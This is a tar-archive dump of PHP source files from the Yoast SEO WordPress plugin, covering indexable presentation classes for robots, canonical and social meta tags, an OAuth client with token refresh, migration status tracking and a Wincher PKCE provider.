$twitter_creator = \apply_filters( 'wpseo_twitter_creator_account', $twitter_creator );
if ( \is_string( $twitter_creator ) && $twitter_creator !== '' ) {
return '@' . $twitter_creator;
}
$site_twitter = $this->options->get( 'twitter_site', '' );
if ( \is_string( $site_twitter ) && $site_twitter !== '' ) {
return '@' . $site_twitter;
}
return '';
}
/**
* Wraps the get_paginated_url pagination helper method.
*
* @codeCoverageIgnore A wrapper method.
*
* @param string $url The un-paginated URL of the current archive.
* @param string $page The page number to add on to $url for the $link tag.
*
* @return string The paginated URL.
*/
protected function get_paginated_url( $url, $page ) {
return $this->pagination->get_paginated_url( $url, $page, false );
}
}
presentations/indexable-author-archive-presentation.php 0000644 00000010327 15207625577 0017561 0 ustar 00 post_type = $post_type;
$this->author_archive = $author_archive;
}
/**
* Generates the canonical.
*
* @return string The canonical.
*/
public function generate_canonical() {
if ( $this->model->canonical ) {
return $this->model->canonical;
}
if ( ! $this->permalink ) {
return '';
}
$current_page = $this->pagination->get_current_archive_page_number();
if ( $current_page > 1 ) {
return $this->pagination->get_paginated_url( $this->permalink, $current_page );
}
return $this->permalink;
}
/**
* Generates the title.
*
* @return string The title.
*/
public function generate_title() {
if ( $this->model->title ) {
return $this->model->title;
}
$option_titles_key = 'title-author-wpseo';
$title = $this->options->get( $option_titles_key );
if ( $title ) {
return $title;
}
return $this->options->get_title_default( $option_titles_key );
}
/**
* Generates the meta description.
*
* @return string The meta description.
*/
public function generate_meta_description() {
if ( $this->model->description ) {
return $this->model->description;
}
$option_titles_key = 'metadesc-author-wpseo';
$description = $this->options->get( $option_titles_key );
if ( $description ) {
return $description;
}
return $this->options->get_title_default( $option_titles_key );
}
/**
* Generates the robots value.
*
* @return array The robots value.
*/
public function generate_robots() {
$robots = $this->get_base_robots();
// Global option: "Show author archives in search results".
if ( $this->options->get( 'noindex-author-wpseo', false ) ) {
$robots['index'] = 'noindex';
return $this->filter_robots( $robots );
}
$current_author = \get_userdata( $this->model->object_id );
// Safety check. The call to `get_user_data` could return false (called in `get_queried_object`).
if ( $current_author === false ) {
$robots['index'] = 'noindex';
return $this->filter_robots( $robots );
}
$author_archive_post_types = $this->author_archive->get_author_archive_post_types();
// Global option: "Show archives for authors without posts in search results".
if ( $this->options->get( 'noindex-author-noposts-wpseo', false ) && $this->user->count_posts( $current_author->ID, $author_archive_post_types ) === 0 ) {
$robots['index'] = 'noindex';
return $this->filter_robots( $robots );
}
// User option: "Do not allow search engines to show this author's archives in search results".
if ( $this->user->get_meta( $current_author->ID, 'wpseo_noindex_author', true ) === 'on' ) {
$robots['index'] = 'noindex';
return $this->filter_robots( $robots );
}
return $this->filter_robots( $robots );
}
/**
* Generates the Open Graph type.
*
* @return string The Open Graph type.
*/
public function generate_open_graph_type() {
return 'profile';
}
/**
* Generates the open graph images.
*
* @return array The open graph images.
*/
public function generate_open_graph_images() {
if ( $this->context->open_graph_enabled === false ) {
return [];
}
return $this->open_graph_image_generator->generate_for_author_archive( $this->context );
}
/**
* Generates the source.
*
* @return array The source.
*/
public function generate_source() {
return [ 'post_author' => $this->model->object_id ];
}
}
presentations/indexable-presentation.php 0000644 00000046064 15207625577 0014651 0 ustar 00 schema_generator = $schema_generator;
$this->open_graph_locale_generator = $open_graph_locale_generator;
$this->open_graph_image_generator = $open_graph_image_generator;
$this->twitter_image_generator = $twitter_image_generator;
$this->breadcrumbs_generator = $breadcrumbs_generator;
}
/**
* Used by dependency injection container to inject the helpers.
*
* @required
*
* @param Image_Helper $image The image helper.
* @param Options_Helper $options The options helper.
* @param Current_Page_Helper $current_page The current page helper.
* @param Url_Helper $url The URL helper.
* @param User_Helper $user The user helper.
* @param Indexable_Helper $indexable The indexable helper.
* @param Permalink_Helper $permalink The permalink helper.
* @param Values_Helper $values The values helper.
*
* @return void
*/
public function set_helpers(
Image_Helper $image,
Options_Helper $options,
Current_Page_Helper $current_page,
Url_Helper $url,
User_Helper $user,
Indexable_Helper $indexable,
Permalink_Helper $permalink,
Values_Helper $values
) {
$this->image = $image;
$this->options = $options;
$this->current_page = $current_page;
$this->url = $url;
$this->user = $user;
$this->indexable_helper = $indexable;
$this->permalink_helper = $permalink;
$this->values_helper = $values;
}
/**
* Gets the permalink from the indexable or generates it if dynamic permalinks are enabled.
*
* @return string The permalink.
*/
public function generate_permalink() {
if ( $this->indexable_helper->dynamic_permalinks_enabled() ) {
return $this->permalink_helper->get_permalink_for_indexable( $this->model );
}
if ( \is_date() ) {
return $this->current_page->get_date_archive_permalink();
}
if ( \is_attachment() ) {
global $wp;
return \trailingslashit( \home_url( $wp->request ) );
}
return $this->model->permalink;
}
/**
* Generates the title.
*
* @return string The title.
*/
public function generate_title() {
if ( $this->model->title ) {
return $this->model->title;
}
return '';
}
/**
* Generates the meta description.
*
* @return string The meta description.
*/
public function generate_meta_description() {
if ( $this->model->description ) {
return $this->model->description;
}
return '';
}
/**
* Generates the robots value.
*
* @return array The robots value.
*/
public function generate_robots() {
$robots = $this->get_base_robots();
return $this->filter_robots( $robots );
}
/**
* Gets the base robots value.
*
* @return array The base robots value.
*/
protected function get_base_robots() {
return [
'index' => ( $this->model->is_robots_noindex === true ) ? 'noindex' : 'index',
'follow' => ( $this->model->is_robots_nofollow === true ) ? 'nofollow' : 'follow',
'max-snippet' => 'max-snippet:-1',
'max-image-preview' => 'max-image-preview:large',
'max-video-preview' => 'max-video-preview:-1',
];
}
/**
* Run the robots output content through the `wpseo_robots` filter.
*
* @param array $robots The meta robots values to filter.
*
* @return array The filtered meta robots values.
*/
protected function filter_robots( $robots ) {
// Remove values that are only listened to when indexing.
if ( $robots['index'] === 'noindex' ) {
$robots['imageindex'] = null;
$robots['archive'] = null;
$robots['snippet'] = null;
$robots['max-snippet'] = null;
$robots['max-image-preview'] = null;
$robots['max-video-preview'] = null;
}
$robots_string = \implode( ', ', \array_filter( $robots ) );
/**
* Filter: 'wpseo_robots' - Allows filtering of the meta robots output of Yoast SEO.
*
* @param string $robots The meta robots directives to be echoed.
* @param Indexable_Presentation $presentation The presentation of an indexable.
*/
$robots_filtered = \apply_filters( 'wpseo_robots', $robots_string, $this );
// Convert the robots string back to an array.
if ( \is_string( $robots_filtered ) ) {
$robots_values = \explode( ', ', $robots_filtered );
$robots_new = [];
foreach ( $robots_values as $value ) {
$key = $value;
// Change `noindex` to `index.
if ( \strpos( $key, 'no' ) === 0 ) {
$key = \substr( $value, 2 );
}
// Change `max-snippet:-1` to `max-snippet`.
$colon_position = \strpos( $key, ':' );
if ( $colon_position !== false ) {
$key = \substr( $value, 0, $colon_position );
}
$robots_new[ $key ] = $value;
}
$robots = $robots_new;
}
if ( \is_bool( $robots_filtered ) && ( $robots_filtered === false ) ) {
return [
'index' => 'noindex',
'follow' => 'nofollow',
];
}
if ( ! $robots_filtered ) {
return [];
}
/**
* Filter: 'wpseo_robots_array' - Allows filtering of the meta robots output array of Yoast SEO.
*
* @param array $robots The meta robots directives to be used.
* @param Indexable_Presentation $presentation The presentation of an indexable.
*/
return \apply_filters( 'wpseo_robots_array', \array_filter( $robots ), $this );
}
/**
* Generates the canonical.
*
* @return string The canonical.
*/
public function generate_canonical() {
if ( $this->model->canonical ) {
return $this->model->canonical;
}
if ( $this->permalink ) {
return $this->permalink;
}
return '';
}
/**
* Generates the rel prev.
*
* @return string The rel prev value.
*/
public function generate_rel_prev() {
return '';
}
/**
* Generates the rel next.
*
* @return string The rel prev next.
*/
public function generate_rel_next() {
return '';
}
/**
* Generates the Open Graph type.
*
* @return string The Open Graph type.
*/
public function generate_open_graph_type() {
return 'website';
}
/**
* Generates the open graph title.
*
* @return string The open graph title.
*/
public function generate_open_graph_title() {
if ( $this->model->open_graph_title ) {
$open_graph_title = $this->model->open_graph_title;
}
if ( empty( $open_graph_title ) ) {
// The helper applies a filter, but we don't have a default value at this stage so we pass an empty string.
$open_graph_title = $this->values_helper->get_open_graph_title( '', $this->model->object_type, $this->model->object_sub_type );
}
if ( empty( $open_graph_title ) ) {
$open_graph_title = $this->title;
}
return $open_graph_title;
}
/**
* Generates the open graph description.
*
* @return string The open graph description.
*/
public function generate_open_graph_description() {
if ( $this->model->open_graph_description ) {
$open_graph_description = $this->model->open_graph_description;
}
if ( empty( $open_graph_description ) ) {
// The helper applies a filter, but we don't have a default value at this stage so we pass an empty string.
$open_graph_description = $this->values_helper->get_open_graph_description( '', $this->model->object_type, $this->model->object_sub_type );
}
if ( empty( $open_graph_description ) ) {
$open_graph_description = $this->meta_description;
}
return $open_graph_description;
}
/**
* Generates the open graph images.
*
* @return array The open graph images.
*/
public function generate_open_graph_images() {
if ( $this->context->open_graph_enabled === false ) {
return [];
}
return $this->open_graph_image_generator->generate( $this->context );
}
/**
* Generates the open graph image ID.
*
* @return string The open graph image ID.
*/
public function generate_open_graph_image_id() {
if ( $this->model->open_graph_image_id ) {
return $this->model->open_graph_image_id;
}
return $this->values_helper->get_open_graph_image_id( 0, $this->model->object_type, $this->model->object_sub_type );
}
/**
* Generates the open graph image URL.
*
* @return string The open graph image URL.
*/
public function generate_open_graph_image() {
if ( $this->model->open_graph_image ) {
return $this->model->open_graph_image;
}
return $this->values_helper->get_open_graph_image( '', $this->model->object_type, $this->model->object_sub_type );
}
/**
* Generates the open graph url.
*
* @return string The open graph url.
*/
public function generate_open_graph_url() {
if ( $this->model->canonical ) {
return $this->model->canonical;
}
return $this->permalink;
}
/**
* Generates the open graph article publisher.
*
* @return string The open graph article publisher.
*/
public function generate_open_graph_article_publisher() {
return '';
}
/**
* Generates the open graph article author.
*
* @return string The open graph article author.
*/
public function generate_open_graph_article_author() {
return '';
}
/**
* Generates the open graph article published time.
*
* @return string The open graph article published time.
*/
public function generate_open_graph_article_published_time() {
return '';
}
/**
* Generates the open graph article modified time.
*
* @return string The open graph article modified time.
*/
public function generate_open_graph_article_modified_time() {
return '';
}
/**
* Generates the open graph locale.
*
* @return string The open graph locale.
*/
public function generate_open_graph_locale() {
return $this->open_graph_locale_generator->generate( $this->context );
}
/**
* Generates the open graph site name.
*
* @return string The open graph site name.
*/
public function generate_open_graph_site_name() {
return $this->context->wordpress_site_name;
}
/**
* Generates the Twitter card type.
*
* @return string The Twitter card type.
*/
public function generate_twitter_card() {
return $this->context->twitter_card;
}
/**
* Generates the Twitter title.
*
* @return string The Twitter title.
*/
public function generate_twitter_title() {
if ( $this->model->twitter_title ) {
return $this->model->twitter_title;
}
if ( $this->context->open_graph_enabled === true ) {
$social_template_title = $this->values_helper->get_open_graph_title( '', $this->model->object_type, $this->model->object_sub_type );
$open_graph_title = $this->open_graph_title;
// If the helper returns a value and it's different from the OG value in the indexable,
// output it in a twitter: tag.
if ( ! empty( $social_template_title ) && $social_template_title !== $open_graph_title ) {
return $social_template_title;
}
// If the OG title is set, let og: tag take care of this.
if ( ! empty( $open_graph_title ) ) {
return '';
}
}
if ( $this->title ) {
return $this->title;
}
return '';
}
/**
* Generates the Twitter description.
*
* @return string The Twitter description.
*/
public function generate_twitter_description() {
if ( $this->model->twitter_description ) {
return $this->model->twitter_description;
}
if ( $this->context->open_graph_enabled === true ) {
$social_template_description = $this->values_helper->get_open_graph_description( '', $this->model->object_type, $this->model->object_sub_type );
$open_graph_description = $this->open_graph_description;
// If the helper returns a value and it's different from the OG value in the indexable,
// output it in a twitter: tag.
if ( ! empty( $social_template_description ) && $social_template_description !== $open_graph_description ) {
return $social_template_description;
}
// If the OG description is set, let og: tag take care of this.
if ( ! empty( $open_graph_description ) ) {
return '';
}
}
if ( $this->meta_description ) {
return $this->meta_description;
}
return '';
}
/**
* Generates the Twitter image.
*
* @return string The Twitter image.
*/
public function generate_twitter_image() {
$images = $this->twitter_image_generator->generate( $this->context );
$image = \reset( $images );
// Use a user-defined Twitter image, if present.
if ( $image && $this->context->indexable->twitter_image_source === 'set-by-user' ) {
return $image['url'];
}
// Let the Open Graph tags, if enabled, handle the rest of the fallback hierarchy.
if ( $this->context->open_graph_enabled === true && $this->open_graph_images ) {
return '';
}
// Set a Twitter tag with the featured image, or a prominent image from the content, if present.
if ( $image ) {
return $image['url'];
}
return '';
}
/**
* Generates the Twitter creator.
*
* @return string The Twitter creator.
*/
public function generate_twitter_creator() {
return '';
}
/**
* Generates the Twitter site.
*
* @return string The Twitter site.
*/
public function generate_twitter_site() {
switch ( $this->context->site_represents ) {
case 'person':
$twitter = $this->user->get_the_author_meta( 'twitter', (int) $this->context->site_user_id );
if ( empty( $twitter ) ) {
$twitter = $this->options->get( 'twitter_site' );
}
break;
case 'company':
default:
$twitter = $this->options->get( 'twitter_site' );
break;
}
return $twitter;
}
/**
* Generates the source.
*
* @return array The source.
*/
public function generate_source() {
return [];
}
/**
* Generates the schema for the page.
*
* @codeCoverageIgnore Wrapper method.
*
* @return array The Schema object.
*/
public function generate_schema() {
return $this->schema_generator->generate( $this->context );
}
/**
* Generates the breadcrumbs for the page.
*
* @codeCoverageIgnore Wrapper method.
*
* @return array The breadcrumbs.
*/
public function generate_breadcrumbs() {
return $this->breadcrumbs_generator->generate( $this->context );
}
/**
* Generates the estimated reading time.
*
* @codeCoverageIgnore Wrapper method.
*
* @return int|null The estimated reading time.
*/
public function generate_estimated_reading_time_minutes() {
if ( $this->model->estimated_reading_time_minutes !== null ) {
return $this->model->estimated_reading_time_minutes;
}
if ( $this->context->post === null ) {
return null;
}
// 200 is the approximate estimated words per minute across languages.
$words_per_minute = 200;
$words = \str_word_count( \wp_strip_all_tags( $this->context->post->post_content ) );
return (int) \round( $words / $words_per_minute );
}
/**
* Strips all nested dependencies from the debug info.
*
* @return array
*/
public function __debugInfo() {
return [
'model' => $this->model,
'context' => $this->context,
];
}
}
presentations/indexable-static-home-page-presentation.php 0000644 00000001411 15207625577 0017761 0 ustar 00 pagination->get_paginated_url( $url, $page );
}
/**
* Generates the Open Graph type.
*
* @return string The Open Graph type.
*/
public function generate_open_graph_type() {
return 'website';
}
}
presentations/indexable-home-page-presentation.php 0000644 00000002300 15207625577 0016472 0 ustar 00 model->canonical ) {
return $this->model->canonical;
}
if ( ! $this->permalink ) {
return '';
}
$current_page = $this->pagination->get_current_archive_page_number();
if ( $current_page > 1 ) {
return $this->pagination->get_paginated_url( $this->permalink, $current_page );
}
return $this->permalink;
}
/**
* Generates the meta description.
*
* @return string The meta description.
*/
public function generate_meta_description() {
if ( $this->model->description ) {
return $this->model->description;
}
return $this->options->get( 'metadesc-home-wpseo' );
}
/**
* Generates the title.
*
* @return string The title.
*/
public function generate_title() {
if ( $this->model->title ) {
return $this->model->title;
}
return $this->options->get_title_default( 'title-home-wpseo' );
}
}
presentations/indexable-date-archive-presentation.php 0000644 00000005512 15207625577 0017174 0 ustar 00 pagination = $pagination;
}
/**
* Generates the canonical.
*
* @return string The canonical.
*/
public function generate_canonical() {
$canonical = $this->current_page->get_date_archive_permalink();
$current_page = $this->pagination->get_current_archive_page_number();
if ( $current_page > 1 ) {
return $this->pagination->get_paginated_url( $canonical, $current_page );
}
return $canonical;
}
/**
* Generates the robots value.
*
* @return array The robots value.
*/
public function generate_robots() {
$robots = $this->get_base_robots();
if ( $this->options->get( 'noindex-archive-wpseo', false ) ) {
$robots['index'] = 'noindex';
}
return $this->filter_robots( $robots );
}
/**
* Generates the title.
*
* @return string The title.
*/
public function generate_title() {
if ( $this->model->title ) {
return $this->model->title;
}
return $this->options->get_title_default( 'title-archive-wpseo' );
}
/**
* Generates the rel prev.
*
* @return string The rel prev value.
*/
public function generate_rel_prev() {
if ( $this->pagination->is_rel_adjacent_disabled() ) {
return '';
}
$current_page = \max( 1, $this->pagination->get_current_archive_page_number() );
// Check if there is a previous page.
if ( $current_page === 1 ) {
return '';
}
// Check if the previous page is the first page.
if ( $current_page === 2 ) {
return $this->current_page->get_date_archive_permalink();
}
return $this->pagination->get_paginated_url( $this->current_page->get_date_archive_permalink(), ( $current_page - 1 ) );
}
/**
* Generates the rel next.
*
* @return string The rel prev next.
*/
public function generate_rel_next() {
if ( $this->pagination->is_rel_adjacent_disabled() ) {
return '';
}
$current_page = \max( 1, $this->pagination->get_current_archive_page_number() );
if ( $this->pagination->get_number_of_archive_pages() <= $current_page ) {
return '';
}
return $this->pagination->get_paginated_url( $this->current_page->get_date_archive_permalink(), ( $current_page + 1 ) );
}
/**
* Generates the open graph url.
*
* @return string The open graph url.
*/
public function generate_open_graph_url() {
return $this->current_page->get_date_archive_permalink();
}
}
config/oauth-client.php 0000644 00000021622 15207625577 0011141 0 ustar 00 provider = $provider;
$this->token_option = $token_option;
$this->options_helper = $options_helper;
$tokens = $this->options_helper->get( $this->token_option );
if ( ! empty( $tokens ) ) {
$this->token = new OAuth_Token(
$tokens['access_token'],
$tokens['refresh_token'],
$tokens['expires'],
$tokens['has_expired'],
$tokens['created_at'],
( $tokens['error_count'] ?? 0 ),
);
}
}
/**
* Requests the access token and refresh token based on the passed code.
*
* @param string $code The code to send.
*
* @return OAuth_Token The requested tokens.
*
* @throws Authentication_Failed_Exception Exception thrown if authentication has failed.
*/
public function request_tokens( $code ) {
try {
$response = $this->provider
->getAccessToken(
'authorization_code',
[
'code' => $code,
],
);
$token = OAuth_Token::from_response( $response );
return $this->store_token( $token );
} catch ( Exception $exception ) {
throw new Authentication_Failed_Exception( $exception );
}
}
/**
* Performs an authenticated GET request to the desired URL.
*
* @param string $url The URL to send the request to.
* @param array $options The options to pass along to the request.
*
* @return mixed The parsed API response.
*
* @throws IdentityProviderException Exception thrown if there's something wrong with the identifying data.
* @throws Authentication_Failed_Exception Exception thrown if authentication has failed.
* @throws Empty_Token_Exception Exception thrown if the token is empty.
*/
public function get( $url, $options = [] ) {
return $this->do_request( 'GET', $url, $options );
}
/**
* Performs an authenticated POST request to the desired URL.
*
* @param string $url The URL to send the request to.
* @param mixed $body The data to send along in the request's body.
* @param array $options The options to pass along to the request.
*
* @return mixed The parsed API response.
*
* @throws IdentityProviderException Exception thrown if there's something wrong with the identifying data.
* @throws Authentication_Failed_Exception Exception thrown if authentication has failed.
* @throws Empty_Token_Exception Exception thrown if the token is empty.
*/
public function post( $url, $body, $options = [] ) {
$options['body'] = $body;
return $this->do_request( 'POST', $url, $options );
}
/**
* Performs an authenticated DELETE request to the desired URL.
*
* @param string $url The URL to send the request to.
* @param array $options The options to pass along to the request.
*
* @return mixed The parsed API response.
*
* @throws IdentityProviderException Exception thrown if there's something wrong with the identifying data.
* @throws Authentication_Failed_Exception Exception thrown if authentication has failed.
* @throws Empty_Token_Exception Exception thrown if the token is empty.
*/
public function delete( $url, $options = [] ) {
return $this->do_request( 'DELETE', $url, $options );
}
/**
* Determines whether there are valid tokens available.
*
* @return bool Whether there are valid tokens.
*/
public function has_valid_tokens() {
return ! empty( $this->token ) && $this->token->has_expired() === false;
}
/**
* Gets the stored tokens and refreshes them if they've expired.
*
* @return OAuth_Token The stored tokens.
*
* @throws Empty_Token_Exception Exception thrown if the token is empty.
*/
public function get_tokens() {
if ( empty( $this->token ) ) {
throw new Empty_Token_Exception();
}
if ( $this->token->has_expired() ) {
$this->token = $this->refresh_tokens( $this->token );
}
return $this->token;
}
/**
* Stores the passed token.
*
* @param OAuth_Token $token The token to store.
*
* @return OAuth_Token The stored token.
*
* @throws Failed_Storage_Exception Exception thrown if storing of the token fails.
*/
public function store_token( OAuth_Token $token ) {
$saved = $this->options_helper->set( $this->token_option, $token->to_array() );
if ( $saved === false ) {
throw new Failed_Storage_Exception();
}
return $token;
}
/**
* Clears the stored token from storage.
*
* @return bool The stored token.
*
* @throws Failed_Storage_Exception Exception thrown if clearing of the token fails.
*/
public function clear_token() {
$saved = $this->options_helper->set( $this->token_option, [] );
if ( $saved === false ) {
throw new Failed_Storage_Exception();
}
return true;
}
/**
* Performs the specified request.
*
* @param string $method The HTTP method to use.
* @param string $url The URL to send the request to.
* @param array $options The options to pass along to the request.
*
* @return mixed The parsed API response.
*
* @throws IdentityProviderException Exception thrown if there's something wrong with the identifying data.
* @throws Authentication_Failed_Exception Exception thrown if authentication has failed.
* @throws Empty_Token_Exception Exception thrown if the token is empty.
*/
protected function do_request( $method, $url, array $options ) {
$defaults = [
'headers' => $this->provider->getHeaders( $this->get_tokens()->access_token ),
];
$options = \array_merge_recursive( $defaults, $options );
if ( \array_key_exists( 'params', $options ) ) {
$url .= '?' . \http_build_query( $options['params'] );
unset( $options['params'] );
}
$request = $this->provider
->getAuthenticatedRequest( $method, $url, null, $options );
return $this->provider->getParsedResponse( $request );
}
/**
* Refreshes the outdated tokens.
*
* @param OAuth_Token $tokens The outdated tokens.
*
* @return OAuth_Token The refreshed tokens.
*
* @throws Authentication_Failed_Exception Exception thrown if authentication has failed.
*/
protected function refresh_tokens( OAuth_Token $tokens ) {
// We do this dance with transients since we need to make sure we don't
// delete valid tokens because of a race condition when two calls are
// made simultaneously to this function and refresh token rotation is
// turned on in the OAuth server. This is not 100% safe, but should at
// least be much better than not having any lock at all.
$lock_name = \sprintf( 'lock:%s', $this->token_option );
$can_lock = \get_transient( $lock_name ) === false;
$has_lock = $can_lock && \set_transient( $lock_name, true, 30 );
try {
$new_tokens = $this->provider->getAccessToken(
'refresh_token',
[
'refresh_token' => $tokens->refresh_token,
],
);
$token_obj = OAuth_Token::from_response( $new_tokens );
return $this->store_token( $token_obj );
} catch ( Exception $exception ) {
// If we tried to refresh but the refresh token is invalid, delete
// the tokens so that we don't try again. Only do this if we got the
// lock at the beginning of the call.
if ( $has_lock && $exception->getMessage() === 'invalid_grant' ) {
try {
// To protect from race conditions, only do this if we've
// seen an error before with the same token.
if ( $tokens->error_count >= 1 ) {
$this->clear_token();
}
else {
$tokens->error_count += 1;
$this->store_token( $tokens );
}
} catch ( Exception $e ) { // phpcs:ignore Generic.CodeAnalysis.EmptyStatement.DetectedCatch
// Pass through.
}
}
throw new Authentication_Failed_Exception( $exception );
} finally {
\delete_transient( $lock_name );
}
}
}
config/migration-status.php 0000644 00000012227 15207625600 0012043 0 ustar 00 get_migration_status( $name );
// Check if we've attempted to run this migration in the past 10 minutes. If so, it may still be running.
if ( \array_key_exists( 'lock', $migration_status ) ) {
$timestamp = \strtotime( '-10 minutes' );
return $timestamp > $migration_status['lock'];
}
// Is the migration version less than the current version.
return \version_compare( $migration_status['version'], $version, '<' );
}
/**
* Checks whether or not the given migration is at least the given version, defaults to checking for the latest version.
*
* @param string $name The name of the migration.
* @param string $version The version to check, defaults to the latest version.
*
* @return bool Whether or not the requested migration is at least the requested version.
*/
public function is_version( $name, $version = \WPSEO_VERSION ) {
$migration_status = $this->get_migration_status( $name );
return \version_compare( $version, $migration_status['version'], '<=' );
}
/**
* Gets the error of a given migration if it exists.
*
* @param string $name The name of the migration.
*
* @return bool|array False if there is no error, otherwise the error.
*/
public function get_error( $name ) {
$migration_status = $this->get_migration_status( $name );
if ( ! isset( $migration_status['error'] ) ) {
return false;
}
return $migration_status['error'];
}
/**
* Sets an error for the migration.
*
* @param string $name The name of the migration.
* @param string $message Message explaining the reason for the error.
* @param string $version The current version.
*
* @return void
*/
public function set_error( $name, $message, $version = \WPSEO_VERSION ) {
$migration_status = $this->get_migration_status( $name );
$migration_status['error'] = [
'time' => \strtotime( 'now' ),
'version' => $version,
'message' => $message,
];
$this->set_migration_status( $name, $migration_status );
}
/**
* Updates the migration version to the latest version.
*
* @param string $name The name of the migration.
* @param string $version The current version.
*
* @return void
*/
public function set_success( $name, $version = \WPSEO_VERSION ) {
$migration_status = $this->get_migration_status( $name );
unset( $migration_status['lock'] );
unset( $migration_status['error'] );
$migration_status['version'] = $version;
$this->set_migration_status( $name, $migration_status );
}
/**
* Locks the migration status.
*
* @param string $name The name of the migration.
*
* @return bool Whether or not the migration was succesfully locked.
*/
public function lock_migration( $name ) {
$migration_status = $this->get_migration_status( $name );
$migration_status['lock'] = \strtotime( 'now' );
return $this->set_migration_status( $name, $migration_status );
}
/**
* Retrieves the migration option.
*
* @param string $name The name of the migration.
*
* @return bool|array The status of the migration, false if no status exists.
*/
protected function get_migration_status( $name ) {
$current_blog_id = \get_current_blog_id();
if ( ! isset( $this->migration_options[ $current_blog_id ][ $name ] ) ) {
$migration_status = \get_option( self::MIGRATION_OPTION_KEY . $name );
if ( ! \is_array( $migration_status ) || ! isset( $migration_status['version'] ) ) {
$migration_status = [ 'version' => '0.0' ];
}
if ( ! isset( $this->migration_options[ $current_blog_id ] ) ) {
$this->migration_options[ $current_blog_id ] = [];
}
$this->migration_options[ $current_blog_id ][ $name ] = $migration_status;
}
return $this->migration_options[ $current_blog_id ][ $name ];
}
/**
* Retrieves the migration option.
*
* @param string $name The name of the migration.
* @param array $migration_status The migration status.
*
* @return bool True if the status was succesfully updated, false otherwise.
*/
protected function set_migration_status( $name, $migration_status ) {
if ( ! \is_array( $migration_status ) || ! isset( $migration_status['version'] ) ) {
return false;
}
$current_blog_id = \get_current_blog_id();
if ( ! isset( $this->migration_options[ $current_blog_id ] ) ) {
$this->migration_options[ $current_blog_id ] = [];
}
$this->migration_options[ $current_blog_id ][ $name ] = $migration_status;
return \update_option( self::MIGRATION_OPTION_KEY . $name, $migration_status );
}
}
config/wincher-pkce-provider.php 0000644 00000016033 15207625600 0012737 0 ustar 00 pkceCode = $pkce_code;
return $this;
}
/**
* Returns the current value of the pkceCode parameter.
*
* This can be accessed by the redirect handler during authorization.
*
* @return string
*/
public function getPkceCode() {
return $this->pkceCode;
}
/**
* Returns a new random string to use as PKCE code_verifier and
* hashed as code_challenge parameters in an authorization flow.
* Must be between 43 and 128 characters long.
*
* @param int $length Length of the random string to be generated.
*
* @return string
*
* @throws Exception Throws exception if an invalid value is passed to random_bytes.
*/
protected function getRandomPkceCode( $length = 64 ) {
return \substr(
\strtr(
// phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode
\base64_encode( \random_bytes( $length ) ),
'+/',
'-_',
),
0,
$length,
);
}
/**
* Returns the current value of the pkceMethod parameter.
*
* @return string|null
*/
protected function getPkceMethod() {
return $this->pkceMethod;
}
/**
* Returns authorization parameters based on provided options.
*
* @param array $options The options to use in the authorization parameters.
*
* @return array The authorization parameters
*
* @throws InvalidArgumentException Throws exception if an invalid PCKE method is passed in the options.
* @throws Exception When something goes wrong with generating the PKCE code.
*/
protected function getAuthorizationParameters( array $options ) {
if ( empty( $options['state'] ) ) {
$options['state'] = $this->getRandomState();
}
if ( empty( $options['scope'] ) ) {
$options['scope'] = $this->getDefaultScopes();
}
$options += [
'response_type' => 'code',
];
if ( \is_array( $options['scope'] ) ) {
$separator = $this->getScopeSeparator();
$options['scope'] = \implode( $separator, $options['scope'] );
}
// Store the state as it may need to be accessed later on.
$this->state = $options['state'];
$pkce_method = $this->getPkceMethod();
if ( ! empty( $pkce_method ) ) {
$this->pkceCode = $this->getRandomPkceCode();
if ( $pkce_method === 'S256' ) {
$options['code_challenge'] = \trim(
\strtr(
// phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode
\base64_encode( \hash( 'sha256', $this->pkceCode, true ) ),
'+/',
'-_',
),
'=',
);
}
elseif ( $pkce_method === 'plain' ) {
$options['code_challenge'] = $this->pkceCode;
}
else {
throw new InvalidArgumentException( 'Unknown PKCE method "' . $pkce_method . '".' );
}
$options['code_challenge_method'] = $pkce_method;
}
// Business code layer might set a different redirect_uri parameter.
// Depending on the context, leave it as-is.
if ( ! isset( $options['redirect_uri'] ) ) {
$options['redirect_uri'] = $this->redirectUri;
}
$options['client_id'] = $this->clientId;
return $options;
}
/**
* Requests an access token using a specified grant and option set.
*
* @param mixed $grant The grant to request access for.
* @param array $options The options to use with the current request.
*
* @return AccessToken|AccessTokenInterface The access token.
*
* @throws UnexpectedValueException Exception thrown if the provider response contains errors.
*/
public function getAccessToken( $grant, array $options = [] ) {
$grant = $this->verifyGrant( $grant );
$params = [
'client_id' => $this->clientId,
'client_secret' => $this->clientSecret,
'redirect_uri' => $this->redirectUri,
];
if ( ! empty( $this->pkceCode ) ) {
$params['code_verifier'] = $this->pkceCode;
}
$params = $grant->prepareRequestParameters( $params, $options );
$request = $this->getAccessTokenRequest( $params );
$response = $this->getParsedResponse( $request );
if ( \is_array( $response ) === false ) {
throw new UnexpectedValueException(
'Invalid response received from Authorization Server. Expected JSON.',
);
}
$prepared = $this->prepareAccessTokenResponse( $response );
$token = $this->createAccessToken( $prepared, $grant );
return $token;
}
/**
* Returns all options that can be configured.
*
* @return array The configurable options.
*/
protected function getConfigurableOptions() {
return \array_merge(
$this->getRequiredOptions(),
[
'accessTokenMethod',
'accessTokenResourceOwnerId',
'scopeSeparator',
'responseError',
'responseCode',
'responseResourceOwnerId',
'scopes',
'pkceMethod',
],
);
}
/**
* Parses the request response.
*
* @param RequestInterface $request The request interface.
*
* @return array The parsed response.
*
* @throws IdentityProviderException Exception thrown if there is no proper identity provider.
*/
public function getParsedResponse( RequestInterface $request ) {
try {
$response = $this->getResponse( $request );
} catch ( BadResponseException $e ) {
$response = $e->getResponse();
}
$parsed = $this->parseResponse( $response );
$this->checkResponse( $response, $parsed );
// We always expect an array from the API except for on DELETE requests.
// We convert to an array here to prevent problems with array_key_exists on PHP8.
if ( ! \is_array( $parsed ) ) {
$parsed = [ 'data' => [] ];
}
// Add the response code as this is omitted from Winchers API.
if ( ! \array_key_exists( 'status', $parsed ) ) {
$parsed['status'] = $response->getStatusCode();
}
return $parsed;
}
}
config/badge-group-names.php 0000644 00000002716 15207625600 0012030 0 ustar 00 '16.7-beta0',
];
/**
* The current plugin version.
*
* @var string
*/
protected $version;
/**
* Badge_Group_Names constructor.
*
* @param string|null $version Optional: the current plugin version.
*/
public function __construct( $version = null ) {
if ( ! $version ) {
$version = \WPSEO_VERSION;
}
$this->version = $version;
}
/**
* Check whether a group of badges is still eligible for a "new" badge.
*
* @param string $group One of the GROUP_* constants.
